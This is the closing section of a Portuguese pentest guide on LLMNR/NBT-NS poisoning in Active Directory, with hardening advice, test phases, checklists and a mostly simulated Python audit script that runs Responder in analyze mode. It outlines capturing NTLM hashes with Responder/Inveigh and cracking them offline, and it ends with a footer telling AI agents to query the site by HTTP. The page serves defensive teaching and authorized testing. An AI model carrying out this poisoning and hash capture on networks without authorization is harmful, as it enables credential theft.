```yaml
Recomendações de Hardening:

  ✅ Desabilitar Protocolos:
    - Desabilitar LLMNR via GPO
    - Desabilitar NBT-NS via DHCP/Registry
    - Remover dependências de NetBIOS

  ✅ Autenticação:
    - Habilitar Network Level Authentication (NLA)
    - Implementar SMB Signing
    - Usar Kerberos em vez de NTLM

  ✅ Senhas:
    - Senhas de 25+ caracteres para contas privilegiadas
    - Rotação regular de senhas
    - Usar Managed Service Accounts (gMSA)

  ✅ Monitoramento:
    - Detectar falhas de resolução DNS
    - Monitorar autenticações NTLM
    - Alertar sobre tráfego multicast anômalo
```

***

## 🔬 **Pentesting com LLMNR/NBT-NS Poisoning**

### **Metodologia de Teste**

```yaml
Fases do Teste LLMNR/NBT-NS Poisoning:

  FASE 1 - Reconhecimento:
    - Identificar protocolos ativos na rede
    - Mapear hosts e serviços
    - Verificar configurações de fallback DNS

  FASE 2 - Preparação:
    - Configurar ferramentas (Responder, Inveigh)
    - Escolher IP de spoofing
    - Preparar ambiente de captura

  FASE 3 - Execução:
    - Iniciar poisoning
    - Aguardar requisições de resolução
    - Capturar hashes NTLM

  FASE 4 - Validação:
    - Extrair hashes capturados
    - Tentar cracking offline
    - Documentar impacto
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# llmnr_pentest.py - Pentest automatizado

import subprocess
import argparse
import sys

class LLMNRPentest:
    """Ferramenta de pentest para LLMNR/NBT-NS"""
    
    def __init__(self, interface):
        self.interface = interface
        self.findings = []
    
    def check_protocol_status(self):
        """Verificar status dos protocolos"""
        print("[*] Verificando status dos protocolos...")
        
        # Em um pentest real, verificaria via GPO/Registro
        llmnr_enabled = True  # Simulação
        nbtns_enabled = True  # Simulação
        
        if llmnr_enabled:
            print("   🔴 LLMNR HABILITADO - vulnerável")
            self.findings.append({
                'type': 'LLMNR_ENABLED',
                'severity': 'CRITICAL',
                'details': 'LLMNR habilitado na rede'
            })
        else:
            print("   ✅ LLMNR desabilitado")
        
        if nbtns_enabled:
            print("   🔴 NBT-NS HABILITADO - vulnerável")
            self.findings.append({
                'type': 'NBTNS_ENABLED',
                'severity': 'CRITICAL',
                'details': 'NBT-NS habilitado na rede'
            })
        else:
            print("   ✅ NBT-NS desabilitado")
        
        return llmnr_enabled or nbtns_enabled
    
    def test_poisoning(self):
        """Testar vulnerabilidade a poisoning"""
        print("[*] Testando vulnerabilidade a poisoning...")
        
        # Simular teste com Responder
        print("   Iniciando Responder em modo análise...")
        
        cmd = ['responder', '-I', self.interface, '-A']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            
            # Verificar se há atividade
            if "Analyze" in result.stdout:
                print("   ✅ Rede potencialmente vulnerável")
                self.findings.append({
                    'type': 'POISONING_POSSIBLE',
                    'severity': 'HIGH',
                    'details': 'Poisoning possível na rede'
                })
            else:
                print("   ❌ Nenhuma atividade detectada")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def check_smb_signing(self):
        """Verificar SMB signing"""
        print("[*] Verificando SMB signing...")
        
        # Em um pentest real, verificaria política
        smb_signing_disabled = True  # Simulação
        
        if smb_signing_disabled:
            print("   🔴 SMB signing DESABILITADO - relay possível")
            self.findings.append({
                'type': 'SMB_SIGNING_DISABLED',
                'severity': 'HIGH',
                'details': 'SMB signing desabilitado, permite NTLM relay'
            })
        else:
            print("   ✅ SMB signing habilitado")
    
    def generate_report(self):
        """Gerar relatório do pentest"""
        print("\n📊 RELATÓRIO DE PENTEST LLMNR/NBT-NS")
        print("=" * 60)
        
        if not self.findings:
            print("✅ Nenhuma vulnerabilidade encontrada")
            return
        
        print(f"🚨 {len(self.findings)} vulnerabilidade(s) encontrada(s):\n")
        
        for finding in self.findings:
            severity_icon = '🔴' if finding['severity'] == 'CRITICAL' else '🟠'
            print(f"{severity_icon} [{finding['severity']}] {finding['type']}")
            print(f"   {finding['details']}\n")
        
        print("🎯 RECOMENDAÇÕES:")
        print("   • Desabilitar LLMNR via GPO")
        print("   • Desabilitar NBT-NS via DHCP/Registry")
        print("   • Habilitar Network Level Authentication (NLA)")
        print("   • Habilitar SMB Signing")
        print("   • Usar senhas fortes (25+ caracteres)")
        print("   • Monitorar falhas de resolução DNS")
    
    def run(self):
        """Executar pentest completo"""
        print("🔥 LLMNR/NBT-NS Poisoning Pentest")
        print("=" * 60)
        
        vulnerable = self.check_protocol_status()
        
        if vulnerable:
            self.test_poisoning()
            self.check_smb_signing()
        
        self.generate_report()

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='LLMNR/NBT-NS Pentest Tool')
    parser.add_argument('interface', help='Network interface')
    
    args = parser.parse_args()
    
    pentest = LLMNRPentest(args.interface)
    pentest.run()
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Administradores**

#### **Configuração**

* [ ] Desabilitar LLMNR via GPO
* [ ] Desabilitar NBT-NS via DHCP/Registry
* [ ] Habilitar Network Level Authentication (NLA)
* [ ] Habilitar SMB Signing
* [ ] Configurar política de senhas fortes

#### **Monitoramento**

* [ ] Monitorar falhas de resolução DNS
* [ ] Alertar sobre autenticações NTLM anômalas
* [ ] Detectar tráfego multicast suspeito
* [ ] Auditoria de logs de segurança

#### **Resposta a Incidentes**

* [ ] Investigar hashes capturados
* [ ] Rotacionar senhas comprometidas
* [ ] Bloquear IPs maliciosos
* [ ] Revisar políticas de segurança

### **Checklist para Pentesters**

#### **Reconhecimento**

* [ ] Identificar protocolos ativos na rede
* [ ] Mapear hosts e serviços
* [ ] Verificar configurações de fallback

#### **Exploração**

* [ ] Executar Responder/Inveigh
* [ ] Capturar hashes NTLM
* [ ] Tentar cracking offline

#### **Documentação**

* [ ] Documentar protocolos vulneráveis
* [ ] Demonstrar impacto
* [ ] Recomendar correções

***

## 📊 **Conclusão**

```yaml
LLMNR/NBT-NS Poisoning:

  🔴 Principais Vetores:
    - LLMNR e NBT-NS habilitados
    - Fallback DNS vulnerável
    - Autenticação NTLM
    - SMB signing desabilitado

  🛡️ Mitigações Essenciais:
    - Desabilitar LLMNR e NBT-NS
    - Habilitar SMB signing
    - Usar senhas fortes
    - Monitoramento contínuo

  🎯 Prioridade:
    - CRÍTICA: Desabilitar protocolos
    - ALTA: SMB signing
    - MÉDIA: Política de senhas
```

***

**✅ Este guia completo sobre LLMNR e NBT-NS Poisoning no Active Directory fornece uma base sólida para entender, prevenir e testar este ataque clássico de redes locais.**

**Próximos passos sugeridos:**

* Desabilitar LLMNR e NBT-NS via GPO
* Implementar SMB signing
* Configurar monitoramento de falhas DNS
* Realizar testes regulares com Responder
* Treinar equipe em práticas de hardening


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/active-directory-ad/llmnr-e-nbt-ns-poisoning.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
